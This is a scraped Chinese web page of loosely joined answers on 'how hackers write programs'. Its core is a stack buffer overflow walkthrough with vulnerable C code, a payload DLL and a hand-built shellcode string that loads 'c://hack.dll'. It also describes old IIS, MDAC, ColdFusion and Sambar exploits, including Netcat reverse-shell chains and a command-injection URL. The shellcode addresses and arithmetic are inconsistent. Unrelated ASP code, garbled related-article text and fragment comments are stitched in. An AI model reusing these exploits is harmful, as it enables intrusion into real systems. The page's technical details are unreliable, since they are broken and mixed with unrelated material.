当前位置:首页 > 生活知识 > 正文内容

黑客如何编写与运行程序(黑客如何编写与运行程序的联系)

hacker2年前 (2022-09-07)生活知识80

本文目录一览:

黑客如何利用信件或网页包含的程序代码来运行被黑电脑的某个程序或打开各种系统服务,并实施破坏?

让你点击一些JS或Web程序,利用服务端和客户端之间的协议作为保障,获得客户机的权限(可能是最高权限)。通过最高权限调用系统接口伪装正常程序进行破坏。

对服务器的攻击,有很多形式,比如注入数据库,负载量过大造成崩溃。让程序卸掉外壳,产生碎片。收集碎片和异常日志进行分析,编写程序,冒充正常的远程调用。

总之,无论是一般的客户机还是网站服务器,都是以获得权限为基础的。

如何利用缓冲区溢出的程序错误来运行黑客程序

上回说了,我们可以在一个有缓冲区溢出漏洞的程序中执行程序中其他的函数,当然,也可以执行程序中其他的指令。还是以上次讲过的程序为例:

程序A:

#include stdio.h

#include string.h

void foo(const char *input)

{

char buf[10];

strcpy(buf, input);

}

int main(int argc, char *argv[])

{

foo("1234567890123456123456123456");

return 0;

}

启动VS 2005,然后将断点设在函数foo中strcpy的后面,断点执行到了以后,进入反汇编窗口,单步执行到该函数最后一行汇编指令,也就是ret指令,在内存窗口中查看寄存器esp保存的内存地址所存放的值,当然你的内存窗口的显示方式应该是4字节显示方式(x86或者说是32位机器上)。你可以看到该值也已经被foo的参数12345678那些字符串覆盖了,然后你可以看看esp的值和ebp的值刚好相差8个字节。就是说,内存中的形式是这样的:

ebp的值 esp的值

^ ^

| |

--------------------------------------

| |函数返回地址| |

---------------------------------------

而你再看看foo函数最后几个汇编指令:非常标准的函数退出时,所作的栈销毁操作:

mov esp ebp

pop ebp

ret

在ret指令执行完成以后,esp的值就会是foo函数的ebp + 8。

如果我们在esp所指向的内存地址上存放我们的shell code(或者说是我们刻意编写的汇编代码),然后将函数返回地址更改为调用我们的shell code的地址,那么我们所编写的shell code也就会被执行,这时就可以干任何我们想干的事情了,;)。

下面是步骤:

1,编写一个dll,其实exe程序也可以,只不过方法略有不同,如果你是直接执行exe程序的话,可以使用WinExec。这里因为我要导入我编写的dll进入程序A,所以使用的WINAPI函数是LoadLibrary,LoadLibrary需要一个参数,指明要加载的dll的文件路径。

2. 在我编写的dll中,处理的事情很简单,就是启动一个程序,呵呵,下面是源代码:

#include

"stdafx.h"

#include stdio.h

#include windows.h

#ifdef _MANAGED

#pragma managed(push, off)

#endif

BOOL APIENTRY DllMain( HMODULE hModule,

DWORD ul_reason_for_call,

LPVOID lpReserved)

{

STARTUPINFO si;

PROCESS_INFORMATION pi;

ZeroMemory( si,

sizeof(si) );

si.cb = sizeof(si);

ZeroMemory( pi, sizeof(pi) );

switch ( ul_reason_for_call )

{

case DLL_PROCESS_ATTACH: // 每次一个新的进程加载该dll的时候,触发这个条件

WinExec("C://WINDOWS//notepad.exe", SW_SHOW);

break;

default:

break;

}

return TRUE;

}

#ifdef

_MANAGED

#pragma managed(pop)

#endif

3.为了调用LoadLibrary,我们需要写一些汇编指令,因为cpu执行的是机器码,而不是汇编指令,所以你要将汇编指令转换为机器码。转换很简单,在你的代码里面加上下面这几行:

int main()

{

_asm {

jmp esp

}

}

将断点设置在main函数的开始处,执行程序,程序中断后,去反汇编,你会看到类似下面的代码:

00401763 FF E4 jmp esp

00401763是这段汇编码在程序中的地址,FF E4就是jmp esp对应的机器码了。呵呵,如果没有FF E4出现的话,在反汇编窗口中右键单击,选择“Show Byte Code”(VS 2005英文版)。

现在腰调用esp中的地址,可以是jmp esp也可以是call esp,但是这个代码必须是进程中已有的,OK,我们在程序中找到这个地址。再次运行程序A,在main函数中设置断点,中断后,选择Debug -- Window -- Module查看这个程序所有加载的dll(无论是动态的还是静态加载的)。程序A中不出意外的话应该有kernel32.dll和ntdll.dll,还有可能有msvcrt8.dll。

我们找一下这些dll里面有没有对应的机器码,怎么找?怎么把一个dll反汇编?呵呵,VS 2005里面自己就带了一个反汇编工具:dumpbin,路经在C:/Program Files/Microsoft Visual Studio 8/VC/bin。dumpbin有一个选项/disasm就是将任何一个PE文件(DLL或EXE)反汇编

打开cmd窗口,执行dumpbin /disasm c:/windows/system32/kernel32.dll | findstr /c:"FF E4",哦哦,没有。再试ntdll.dll,还是没有。试一下call esp,它的机器吗是FF E5。kernel32.dll里面没有,啊哈,ntdll.dll里面有,这是搜索结果:

7C914393: FF E5 call esp

4.编写shell code,调用LoadLibrary,需要知道LoadLibrary函数的地址,获取的办法是这样的:LoadLibrary是在kernel32.dll中的,启动Depends.exe,Depends.exe包含在Windows SDK中,你也可以去网上搜一下,下载一个回来用,实在找不到,那我就牺牲一下自己啦。

随便用depends打开一个exe文件,在左上角的依赖树里面点击kernel32.dll,在右边第二个窗口中找到LoadLibraryA这个函数,可以看到它的Entry Point是0x000445EF,如下:

E | Ordinal | Hint | Function | Entry Point

---------------------------------------------------------------------------------------------

754 (0x02F2) | 753 (0x02F1) | LoadLibraryA | 0x000445EF

操作系统不一样,值可能不一样,在最下面的窗口中找到kernel32.dll的base address(Preferred Base)是0x77E00000,如下:

Module | ... 中间很多省略 ... | Preferred Base

-------------------------------------------------------------------------

Kernel32.dll | .... | 0x77E000000

将Kernel32.dll的Preferred Base和LoadLibraryA的Entry Point按位于就获得LoadLibraryA在你的程序中的地址是:0x77E445EF。

5。最后编写汇编代码执行你的黑客程序:

_asm {

mov eax 0x77E445EF // 将LoadLibraryA的地址存在eax寄存器中

call L4

L2: call eax // 调用LoadLibraryA,程序执行到这段指令时LoadLibraryA的参数已经压栈

L3: jmp L3 // 循环,确保被黑的程序不会死掉

L4: call L2

}

6。最后,示例程序如下:

#include

stdio.h

#include string.h

void func(char *p)

{

char stack_temp[20];

strcpy(stack_temp, p);

printf(stack_temp);

}

void foo()

{

printf("This should not be called");

}

int main(int argc, char *argv[])

{

func("I AM MORE THAN TWENTLONG/x93/x43/x91/x7C"

"/xB8/x77/x1D/x80/x7C" // mov eax 0x771D807C LoadLibraryA的地址

"/xEB/x04" // call L4

"/xFF/xD0" // L2: call eax

"/xEB/xFE" // L3: jmp L3

"/xE8/xF7/xFF/xFF/xFF" // L4: call L2

"c://hack.dll/0"); // LoadLibraryA的参数,也就是我们要刻意加载的dll文件

return 0;

}

完了,累死了

网络黑客是怎么操作的

Web服务器将成为下一代黑客施展妖术的对象。在很大程度上,进行这种攻击只需一个Web浏览器和一个创造性的头脑。以前,黑客的攻击对象集中在操作系统和网络协议上,但随着这些攻击目标的弱点和漏洞逐渐得到修补,要进行这类攻击已经变得非常困难。操作系统正在变得更加稳健,对攻击的抵抗能力日益提高。随着身份验证和加密功能渐渐被内置到网络协议中,网络协议也变得更加安全。此外,防火墙也越来越智能,成为网络和系统的外部保护屏障。

另一方面,电子商务技术正在日益普及开来,其复杂性有增无减。基于Web的应用程序正在与基本的操作系统和后端数据库更加紧密地集成在一起。遗憾的是,人们在基于Web的基础设施安全性方面所做的工作还很不够。Web服务器和Web应用程序中的弱点被发现的速度为何这么快呢?

有很多因素促成了这种Web黑客活动的快速增加。其中最主要的原因是防火墙允许所有的Web通信都可以进出网络,而防火墙无法防止对Web服务器程序及其组件或Web应用程序的攻击。第二个原因是,Web服务器和基于Web的应用程序有时是在“功能第一,安全其次”的思想指导下开发出来的。

当您的Web服务器面临巨大威胁时,怎样保障它们的安全呢?这就需要您不断了解新信息,新情况,每天跟踪您所用服务器的有关网站,阅读相关新闻并向它进行咨询。为了让你着手这方面的工作,下面介绍黑客对NT系统的四种常用攻击手段,同时介绍如何防止这类攻击。

Microsoft IIS ism.dll缓冲区溢出

受影响的服务器:运行IIS 4.0并带有“Service Pack 3/4/5”的Windows NT服务器

Microsoft IIS缓冲区溢出这一安全弱点是Web服务器无时不有的重大缺陷之一。该弱点被称为IIS

eEye,这个名称来自发现此问题的一个小组。在实施缓冲区溢出攻击时,黑客向目标程序或服务输入超出程序处理能力的数据,导致程序突然终止。另外,还可以通过设置,在执行中的程序终止运行前,用输入的内容来覆盖此程序的某些部分,这样就可以在服务器的安全权限环境下执行任意黑客命令。

eEye发现,IIS用来解释HTR文件的解释程序是ism.dll,它对缓冲区溢出攻击的抵抗力十分脆弱。如果攻击者将一个以.htr结尾的超长文件名(大约3,000个字符,或更多)传递给IIS,那么输入值将在ism.dll中造成输入缓冲区溢出,并导致IIS崩溃。如果攻击者输入的不是一串字母而是可执行代码(通常称为“鸡蛋”或“外壳代码”),那么在IIS终止之前将执行该代码。由eEye小组发现的这一攻击方法包括三个步骤:

1.创建一个用于侦听任意TCP端口上连接活动的程序。一旦接收到连接信号,该程序将执行一个Windows命令外壳程序(cmd.exe),并将该外壳与连接绑定在一起。这个程序是经过修改的Netcat。Netcat是一个流行的网络连接实用程序,其源代码可以免费获得。

2.在IIS的ism.dll中制造缓冲区溢出,并使IIS从外部Web站点下载侦听程序(由步骤1产生)。

3.执行刚下载的程序(由步骤2产生),该程序将等待传入的连接并使攻击者进入Windows命令外壳程序中。

由于缓冲区溢出导致IIS在崩溃之前转而运行Windows命令外壳,所以该外壳程序将在IIS的安全权限背景下运行,而该安全权限背景等价于NT

Administrator权限。这样,攻击者要做的只是与被攻击的IIS服务器的侦听端口建立连接,然后等着出现c:提示就万事大吉了。现在,攻击者拥有对整个NT服务器的管理权限,可以做任何事,比如,添加新用户、修改服务器的内容、格式化驱动器,甚至将该服务器用作攻击其它系统的踏脚石。

运行IIS 4.0并带有“Service Pack 3/4/5”的Windows

NT服务器容易受到此类攻击。Microsoft已经发布了对该弱点的修补程序。Windows NT Service Pack

6也已经修补了该问题。

Microsoft IIS MDAC RDS安全弱点

受影响的服务器:运行IIS 4.0并安装了MDAC 2.1或更早版本的Windows NT服务器

在发现IIS eEye安全弱点的大约一个月后,IIS

4.0的另一个弱点又暴露出来。使用Microsoft数据访问组件(MDAC)和远程数据服务(RDS),攻击者可以建立非法的ODBC连接,并获得对Web服务器上的内部文件的访问权。如果安装了Microsoft

Jet OLE DB提供程序或Datashape提供程序,攻击者可以使用Visual Basic for Applications

shell()函数发出能够在服务器上执行的命令。

在安装了MDAC 2.1或更高版本的IIS 4.0上,从位于其公共目录中的msadcmsadcs.dll,可以找到MDAC

RDS弱点。Rain Forest

Puppy在其站点中对该弱点进行了详细说明。该弱点利用了IIS上MDAC默认安装时的不适当配置和安全机制的缺乏这一漏洞。在等价于NT

Administrator的IIS Web服务器进程的安全权限背景下,进行这种攻击的黑客可以在NT系统上远程执行任意命令。

MDAC的弱点不是由于技术造成的,而是由于用户对它的配置方式所致。很多站点是通过NT Option Pack 4.0安装IIS

4.0的。如果NT Option Pack

4.0是以典型或默认配置安装的,那么MDAC就容易遭到这种攻击。大多数使用默认安装的系统管理员都没有具体调整过这些设置,从而使Web服务器的安全性大大降低。

Foundstone公司的George Kurtz、Purdue大学的Nitesh

Dhanjani和我曾经共同设计了一个只有一行的命令字符串,该命令将利用MDAC

RDS弱点,使远程NT系统启动一个通过FTP或TFTP进行的文件传输过程。这个命令将告诉服务器到从某个外部系统下载并执行Netcat。Netcat将运行Windows命令外壳程序,并建立一个返回攻击者计算机的连接,这样,攻击者就获得了对远程NT系统的完全管理控制权。

Microsoft已经发布了相应的安全公告,并对使IIS 4.0免受该弱点攻击的保护措施进行了说明。

Allaire ColdFusion 4.0弱点

受影响的服务器:运行在Windows NT上的Allaire ColdFusion Server 4.0

作为还算容易使用的、功能强大的脚本语言,ColdFusion已经广泛流行起来。但流行并不意味着安全。ColdFusion的问题不在于该服务器自身,而是在于它附带的脚本。ColdFusion

4.0提供了示范应用程序和范例,它们可以在位于Web服务器根目录中的cfdocsexampleapp和cfdocsexpeval目录中找到。当用户执行典型安装时,将安装这些应用程序和脚本。ColdFusion所附带的部分范例经过修改后,将允许非法访问服务器上所包含的敏感数据。这些弱点表明,基本的应用程序服务器可以被编写得不好的应用程序脚本歪曲利用。

存在这种弱点的一个范例应用程序是cfdocsexampleappdocssourcewindow.cfm。因为ColdFusion是作为具有Administrator权限的系统服务运行的,所以,该程序可以被用来任意访问和查看NT

Web服务器上的任何文件,包括boot.ini。用这种方法可以检索任何文件。Packet Storm对该弱点做了完整解释。

而更严重的弱点存在于cfdocsexpevalopenfile.cfm、cfdocsexpevaldisplayopenedfile.cfm和cfdocsexpevalexprcalc.cfm中。这三个文件可以用来查看服务器上的任何文件,更为严重的是,它们还能将任意文件上载到服务器。对该弱点如何发作的讨论超出了本文的范围,欲了解详细信息请访问L0pht

Heavy

Industries的咨询信息。表达式求值程序exprcalc.cfm用于让开发人员计算被上载文件中的ColdFusion表达式的值。作为预防手段,该脚本在进行表达式计算时便会把被上载的文件删除掉,但要避免删除却是件容易的事。这样,攻击者可以上载恶意文件,并最终控制服务器。

这些就是ColdFusion的示范脚本中最严重的弱点。要防止出现问题,请从任何运行中的服务器中删除ColdFusion示范脚本。Allaire的Security

Zone提供了补丁程序,并提供了如何保护ColdFusion服务器的进一步信息。

Sambar 4.3 hello.bat

受影响的服务器:运行在Windows NT上的Sambar 4.3 beta 7和更早版本

Sambar是提供给开发者的免费Web服务器。它提供了对CGI和WinCGI脚本、ODBC脚本以及ISAPI的支持。它甚至捆绑了Perl

5解释器。

Sambar 4.3 beta

7版和更早版本附带两个名为hello.bat和echo.bat的文件,它们是将Windows批处理文件用作CGI脚本的范例。这两个脚本本身没有问题,hello.bat显示字符串“Hello

World”,而echo.bat显示字符串“Place

Holder”。但当批处理文件被用作CGI脚本时,Web服务器将使用Windows命令外壳程序cmd.exe来运行它们。这样,攻击者可以利用该弱点针对目标服务器运行任意命令。例如,假如攻击者把URL

;dir+c:放在他或她的浏览器中,那么,将在服务器上运行命令“dir

c:”,并在浏览器上显示结果。由于Sambar是在NT

Administrator安全权限下运行的,因此事情会变得更为复杂。这样的权限等级可以让攻击者作为NT Administrator运行任意命令。

Windows命令外壳使用“”在相同命令行上分隔多个命令。如果用户将“”放在hello.bat的后面,并在其后添加一个命令,那么将在执行hello.bat后执行第二个命令。

由于已经删除了文件hello.bat和echo.bat,Sambar 4.3 beta

8版和更高版本没有该弱点。但是,由于Windows命令外壳程序解析命令行的方式无法改变,所以并没有办法能真正修正该问题。如果您安装了4.3

beta 7版或更低版本,请一定要删除hello.bat和echo.bat。

电脑黑客如何编写程序?

额?黑客只有一小部分人自己琢磨着编程序(例如小榕工作室,专门编黑客软件),大部分都是用现有软件,例如流光啦之类的,还有一些直接用黑客文件,例如‘黑洞’软件、‘灰鸽子’软件这些可以直接种植到肉鸡中的文件

黑客怎么编程序?

不知道你要学那一种:Asp.net编程中的数组基础实例学习asp.net数组(Array)可以视为储存多个数据类型相同的值的变量,以同一个变量名称,不同的索引值来区分表示多个值。多用来存放性质或类型相同的数据。 1.数组的声明数组的声明有以下两种格式:以下是引用片段:

Dim数组名(元素数量) 【As数据类型】

Dim数组名() 【As数据类型】={元素值l,元素值2…}

2.数组元素的表示当声明一个数组并赋予其元素之后,该数组即可开始执行,其中数组的元素表示方式如下:数组名(索引值)=元素值提示: 索引值自O起计算。数组元素量最多可声明264一1个(即Long类型)。3.范例编写一个asp程序,利用数组制作进入网页后显示当日日期的功能。程序代码:以下是引用片段:

01html

02hr

03 %

04 Dim cw(7)

05 cw(O)=¨星期日" .

06 cw(1)=¨星期一”

07 cw(2)="星期二”

08 cw(3)=¨星期三”

09 cw(4)=¨星期四¨

10 cw(5)=¨星期五”

11 cw(6)=¨星期六¨

1 2 response.write(¨今天是¨yea r(now())"年")

13 response.write(month(now()) "月" day(now()) & "日")

14 response.write(cw(Wee kDay(now())一1))

l5 %

1 6hr

l7/html

本程序的说明如下· 第3-1 5行:为asp程序的主体。· 第4行:声明一个数组CW,数组中元素有7个。· 第5~11行:定义数组中的每一个元素,数据类型是字符串。· 第1 2-1 4行:利用日期时间函数与数组将日期用response对象的write方法输出,其中在第l 4行,以WeekDay函数代.A,now()函数以求出星期值,其值范围在1~7,因为要代入数组中的索引值,而数组中的索引值从O计算,所以在此输出程序中要减1,将求出的星期值范围定在O~6,才能符合数组的索引值,以带出各索引值所代表的字符串。

扫描二维码推送至手机访问。

版权声明:本文由万物知识分享发布,如需转载请注明出处。

本文链接:http://qmsspa.com/89158.html

分享给朋友:

“黑客如何编写与运行程序(黑客如何编写与运行程序的联系)” 的相关文章

2018年godaddy域名注册解析,老域名的购买

英语欠好 的同伙 的祸音:如今 godaddy曾经很孬的支撑 外文了,年夜 野注册否以间接用外文,单纯多了。 一尾选挨谢godaddy的网站https://www.godaddy.com  二点登录再点创立 账户  三  依照  请求注册  四查找须要 注册的域名,域名为顶级域名没有要带www...

百度seo综合查询怎么关闭(百度seo规则)

baidu站少仄台通知内容以下: 为提下资本 提接后果 ,仄台体系 整合了“Co妹妹on Collection”——“sitemap”对象 的额度:已实现icp立案 的站点提接Sitemap文献下限整合为天天  一个,未实现icp立案 的站点没有蒙影响。 为了提下开辟 职员 提接资本 的...

网页复制链接在哪里复制(复制网页内容怎么操作)

网页复制链接在哪里复制(复制网页内容怎么操作)

择要 : 甚么是反复 网页? 复造网页的目标 若何 复造网页 正在阅读 网页的时刻 ,否能会看到一点儿没有错的内容,好比 网站的设计,内容的排版,或者者是体验没有错的界里,友爱 的接互体系 等等。那些内容让您拍案而起,您否能会遭到启示 ,从那些内容外进修 并运用 到本身 的网页外...

文章赚钱平台(发文章赚钱最快的平台)

时隔四个月,baidu末于再次宣布 了正在线赔钱的症结 词。宋九暂的编纂 领现,任何取网赔相闭的症结 词皆应该否以一般搜刮 。  二0 二0年 九月是网赔圈最阴郁 的时刻。任何有排名战流质的正在线赔钱网站皆遭到CC战DDos的进击 。 最严峻 的进击 是域名净化,使网站的域名无奈拜访 。...

seo优化的常见注意事项是什么(为什么说seo是王道)

seo优化的常见注意事项是什么(为什么说seo是王道)

尔一向 以为 SEO更多的是一门艺术,而没有是一门技术。尔信任 年夜 部门 作网站设计战SEO的人皆是教理工科的,然则 实邪的SEO须要 更多的理科底子 ,好比 商场营销、告白 、生理 教、写做等等。当然也须要 一点儿技术底子 ,好比 HTML、编程、办事 器底子 常识 等等。然则  对于那些技术...

竞价关键词的优化方法(竞价的关键词怎么优化)

对付 竞价劣化器去说,劣化症结 词量质器量 的上风 包含 :更低的点击价钱 ,更下的先后排名,更不变 的正面 展现 ,更自大 的事情 ,更快活 的心境 。 定性丈量 的影响身分 综上所述,影响症结 词量质器量 的四个身分 是点击率、相闭性、坐意战账号汗青 。若何 劣化症结 词量质器量 ?...

评论列表

寻妄岁吢
2年前 (2022-09-08)

break; } return TRUE;}#ifdef_MANAGED#pragma managed(pop)#endif3.为了调用LoadLibrary,我们需要写一些汇编指令,因为cpu执行的是机器码,而不是汇编指令,所以你要将汇编指令转

孤鱼挽鹿
2年前 (2022-09-08)

"c://hack.dll/0"); // L

澄萌十鸦
2年前 (2022-09-07)

连接活动的程序。一旦接收到连接信号,该程序将执行一个Windows命令外壳程序(cmd.exe),并将该外壳与连接绑定在一起。这个程序是经过修改的Netcat。Netcat是一个流行的网络连接实用程序,其源代码可以免费获得。 2.在IIS的ism

南殷俛就
2年前 (2022-09-08)

程序中的地址是:0x77E445EF。5。最后编写汇编代码执行你的黑客程序: _asm { mov eax 0x77E445

纵遇劣戏
2年前 (2022-09-07)

s NT服务器 在发现IIS eEye安全弱点的大约一个月后,IIS 4.0的另一个弱点又暴露出来。使用Microsoft数据访问组件(MDAC)和远程数据服务(RDS),攻击者可以建立非法的ODBC连接,并获得对Web服务器上的

发表评论

访客

◎欢迎参与讨论,请在这里发表您的看法和观点。